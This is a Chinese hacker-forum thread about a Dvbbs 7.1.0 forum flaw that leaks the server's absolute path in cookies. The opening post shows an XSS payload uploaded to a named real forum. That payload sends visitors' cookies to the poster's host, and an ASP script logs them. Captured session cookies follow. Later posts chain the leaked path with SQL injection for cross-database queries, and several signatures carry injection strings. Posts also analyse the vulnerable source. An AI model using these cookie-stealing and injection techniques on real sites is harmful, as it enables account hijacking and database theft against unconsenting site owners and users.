发新话题
打印

[讨论]关于动网的cookie泻露站点绝路径的问题

[讨论]关于动网的cookie泻露站点绝路径的问题

议题提交:Linzi [混客联盟]
信息来源:邪恶八进制信息安全团队

一、跨站测试
先看看我的一次跨站测试吧
我以职业欠钱的站点做测试吧:
Host:zhiyeqianqian.51web.cn
My Test:
先在他的论谈上传两张图,
图一的内容是:
<script>document.location=&#39;http://linzi.cnbct.org/cookie.asp?msg=&#39;+document.cookie</script>
得到url为UploadFile/2005-6/200562716565777847.jpg
图二则是偶的个人照
UploadFile/2005-6/200562716563048909.jpg
写个盗cookie的代码到我的空间,lcx的盗cookie代码有问题,所以修改了一下。
<%
cookiefile=Server.MapPath("cookie.txt")
set fs=server.CreateObject("scripting.filesystemobject")
set cookiefile=fs.OpenTextfile(cookiefile,8,True,0)
cookiefile.Write(Request.QueryString&"<br>")
cookiefile.close
set fs = nothing
%>
<META HTTP-EQUIV="Refresh" CONTENT="0;URL= http://zhiyeqianqian.51web.cn/Up ... 562716563048909.jpg">
接下来,点击图一,自动转到图二,

二、结果分析
再到我的空间看一下,抓到cookie如下:
msg=ewwwrootzhiyeqianqianwwwroot=UserID=218&usercookies=1&StatUserID=2190418138&password=想要吗?嘿嘿&userhidden=2&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=linzi;%20ASPSESSIONIDQSCAAQTB=HMPLNIMDHOCDJKPELPGBBOOG;%20Dvbbs;%20DvbbsMagicFace=862;%20upNum=2;%20ASPSESSIONIDQSAAARTB=JBPPMONDDEGFGHEOICDHFJIM<br>
分析cookie我们不难看出他的绝对路径是e:\wwwroot\zhiyeqianqian\wwwroot


三、论谈
本来,最初的测试我是在测试BCT论谈,成功暴出他的绝对路径,一开始的时候,我还认为可能又是动网出洞洞了,所以又去测试了其它几个站,测试结果是其它的站点并没有暴出路径,今天再次测试“欠我钱”的论谈,却又暴不出来,查了一下代码,和别人的代码一个样,根本没什么差别。
偶想听听大家的看法,到底是哪里出了问题,能不能深入利用~~~
此ID为马甲.多人使用.

TOP

觉得很奇怪,只不过只是盗一个cookies而已,为什么里面还包含有网站的路径~~研究研究:)
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

是很奇怪
怎么会有路径出来呢

TOP

DvbbsMagicFace: 853
tab: 4
Dvbbs:
ewwwrootzhiyeqianqianwwwroot(StatUserID): 22127681659
ewwwrootzhiyeqianqianwwwroot(password): ///////保密保密
ewwwrootzhiyeqianqianwwwroot(userhidden):
ewwwrootzhiyeqianqianwwwroot(username): 职业欠钱
ewwwrootzhiyeqianqianwwwroot(userclass): 管理员
ewwwrootzhiyeqianqianwwwroot(usercookies): 2
ewwwrootzhiyeqianqianwwwroot(userid): 2
List(list3): 0
upNum: 0

让linzi这么麻烦的找cookie
还不如我直接用海洋马来查看cookie信息
看到上面的东西
看来DVBBS 7.1.0确实会有在cookie里泄露物理路径的问题
呵呵
那样的话,我们直接抓个包就可以了,哪要上传什么东西啊
个人论坛: http://www.xdxf.net

TOP

似乎可以吗?我按照linzi的每一个步骤,用netbox本地架设iis,做了个实验
第一次,网站路径: f:\netbox\wwwroot\
抓下来的包为:
msg=127.0.0.1/=username=admin&password=1sfv3h775WsZ8458&userclass=管理员&userid=1&userhidden=&usercookies=3;%20HGGBLFWKGDKHXXSRQFNG=OMQHJSRXHTFLTMMZYPFLKKCMPHGQJBGTUKUDWKRE;%20upNum=0<br>
这里根本没有网站的路径,这时怀疑是不是路径太短的原因
第二次,网站的路径为:D:\test\test\test\test\test\test\NetBox\wwwroot
抓下来的包为:
msg=UDLSECIWMXDLHKVEVTQN=OMEOYGWJMRUCJEFWDXQVHTRZHMITPKCKHLKEFLMR;%20127.0.0.1/=username=admin&password=0rdu3g775Uqx7358&userclass=管理员&userid=1&userhidden=&usercookies=3;%20upNum=0<br>
也没有,再桌面上架设试试,抓的包为:
msg=YJFFZJICYNFAZALYNHDE=MPJNVCRTKWOLEVGCTBNJGSOLUBPMDKAGWNMUKQRQ;%20127.0.0.1/=username=admin&password=84y6115O3q4tQFJ6&userclass=管理员&userid=1&userhidden=&usercookies=3;%20upNum=0<br>

我用的是dvbbs7.0,直接登陆admin&admin888进的前台,然后直接访问图片,在远程webshell架设了一个cookie.asp,截获的cookie,很显然怎么弄也弄不出来路径...
不知道linzi在中间还有没有其它的“动作”,不过这真的是一个新发现 ^_^
同时,password=想要吗?嘿嘿 这里的password 看上面的抓包,没有一次一样的,然后不是16进制,所以不可能是admin的密码,admin的16进制是469e80d32c0559f8。原来的动网欺骗怎么弄的???又有些怀疑了。 这里的password其时在动网中无论哪个页面的动作截获都有此password,但绝不是用户的16进制密码,具体还没有分析,不知道干什么用的。这是一个新的问题。。
linzi的详细步骤是什么,中间肯定有一个关键动作。 对了dvbbs7.1没有实验.
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

楼上的我说一下,动网采用的双密码制,不是十六进制,cookie里放的是把我们原来的密码经md5加密后,再次加密后得到的,当然这种加密对我们cookie欺骗时没有影响,还有就是我没有什么动作,我测试成功的,都是在dvbbs.7.1.0,很奇怪,动网7.0我没成功过,也不太清楚为什么,可能7.1在哪个地方处理的不是很好,导致路泄露。
此ID为马甲.多人使用.

TOP

cookie里放的是把我们原来的密码经md5加密后,再次加密后得到的,感谢linzi,这里让我恍然大悟。
Dvbbs7.1 我用netbox架设后不能访问总是出错,所以用了7.0。
7.1不会出现这种爆路径的弱智错误吧,真有些奇怪,而且你只是成功了一次,第二次却失败了,总感觉到和当初那个动网中connad.asp这个文件爆路径有些相似.
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

我来总结吧,
BuG 程序:  Dvbbs 7.1.0 Access
BuG描述:  在cookie中存在泄露绝对路径,我在网上随便找了dvbbs 7.1.0的测试,Access的我测试了15个主机全部成功,Mssql测试未测试,有兴趣的朋友可以自己测试,而对于dvbbs 7.1.0以下的没有暴路径漏洞。
测试者:  LiNzi [B.C.T&混盟]
漏洞利用例子:
www.host.com
主程序存在sql注入漏洞,但是找不到表名和字段名。
注入点假设:
www.host.com\linzi.asp?fuck=you
论谈为dvbbs 7.1.0 ,数据库为data\dvbbs.asp,做了防下载处理.
利用上面的动网暴路径,抓包得到绝对路径为 d:\www\dvbbs\data\dvbbs.asp
实现跨库查询如下:
you and select count(*) from dv_admin  in "d:\www\dvbbs\data\dvbbs.asp"
其它的大家很熟了吧,跨库查询的方法,小菜们不明白的可以参考4ngel的文章。
完了,FlashMan!~~~
此ID为马甲.多人使用.

TOP

汗,上面的打错了,不可以编辑啊,冰雪,能不能给我们编辑的权限啊。
此ID为马甲.多人使用.

TOP

测试完毕 官方也有如此漏洞~~ 此问题很严重.....
\';update heart set love=\'nothing
\' where name=yaner;--

TOP

是的,动网官方得到是这样:
Accept: */*
Referer: http://bbs.dvbbs.net/index.asp
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
If-None-Match: "202859775c2dc51:1a9d"
User-Agent: Mozilla/4.0
Host: bbs.dvbbs.net
Connection: Keep-Alive
Cookie: dwebdvbbs7%2E1%2E0=userid=617049&usercookies=1&StatUserID=21928704991&userhidden=2&password=EiYLDpOc0v1Y2168&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=test12345612; dwebdvbbs7%2E1%2E0Kill=kill=0; ASPSESSIONIDSSDSCBQD=CJLKOBNCIOGENGIGLBEPANCB
没有被评为38组织一员感到十分遗憾! 原因是我现在没有签名,我没有签名的原因是我没有想出很好的签名来,所以我的签名现在还没有签名,你说我把这段话作为签名算不算签名?

TOP

GET /friendlist.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://www.xxxxxxxx/
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Poco 0.31; .NET CLR 1.1.4322)
Host: www.xxxxxx.nxx
Connection: Keep-Alive
Cookie: fqiaocheng%2Enet=UserID=617&usercookies=2&StatUserID=61199534198&userclass=%B0%E6%D6%F7&username=fhod&password=4*************425kyd&userhidden=2; fqiaocheng%2EnetKill=kill=0; ASPSESSIONIDAQQSTSRB=JLDOEODAEOMBBBEBPODDFOII; Dvbbs=


我抓到的也是./
7.0不存在..只在升级后的7.1或7.1完整版里有此漏洞
这个发现不错.

TOP

Dvbbs7.1.0_Ac\cookies.asp
第52,78行
Response.Cookies(Dvbbs.Forum_sn).path=Dvbbs.cookiepath
Response.Cookies(Dvbbs.Forum_sn).path=Dvbbs.cookiepath
89行
Response.Cookies("skin").path=Dvbbs.cookiepath
94行
Response.Cookies("List").path=Dvbbs.cookiepath
Dvbbs7.1.0_Ac\login.asp
103-118
&#39;判断更新cookies目录
    Dim cookies_path_s,cookies_path_d,cookies_path
    cookies_path_s=split(Request.ServerVariables("PATH_INFO"),"/")
    cookies_path_d=ubound(cookies_path_s)
    cookies_path="/"
    For i=1 to cookies_path_d-1
        If not (cookies_path_s(i)="upload" or cookies_path_s(i)="admin") Then cookies_path=cookies_path&cookies_path_s(i)&"/"
    Next
    If dvbbs.cookiepath<>cookies_path Then
        cookies_path=replace(cookies_path,"&#39;","")
        Dvbbs.execute("update dv_setup set Forum_Cookiespath=&#39;"&cookies_path&"&#39;")
        Dim setupData
        Dvbbs.CacheData(26,0)=cookies_path
        Dvbbs.Name="setup"
        Dvbbs.value=Dvbbs.CacheData
    End If
Dvbbs7.1.0_Ac\inc\Dv_ClsMain.asp
198行 Cookiepath = CacheData(26,0)
就是这几个位置了

TOP

个人认为问题出在Dvbbs7.1.0_Ac\inc\Dv_ClsMain.asp里

44 CacheName = Lcase(Replace(Replace(Replace(Server.MapPath("index.asp"),"index.asp",""),":",""),"\",""))
45 IsTopTable = 0
46 Forum_sn = Replace(CacheName,"_","")

7.0 sp2版的相应地方如下
Forum_sn = LCase(Replace(Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL"),Split(request.ServerVariables("SCRIPT_NAME"),"/")(ubound(Split(request.ServerVariables("SCRIPT_NAME"),"/"))),""))

这个Forum_sn 的值会随cookie一起传到客户端

TOP

发新话题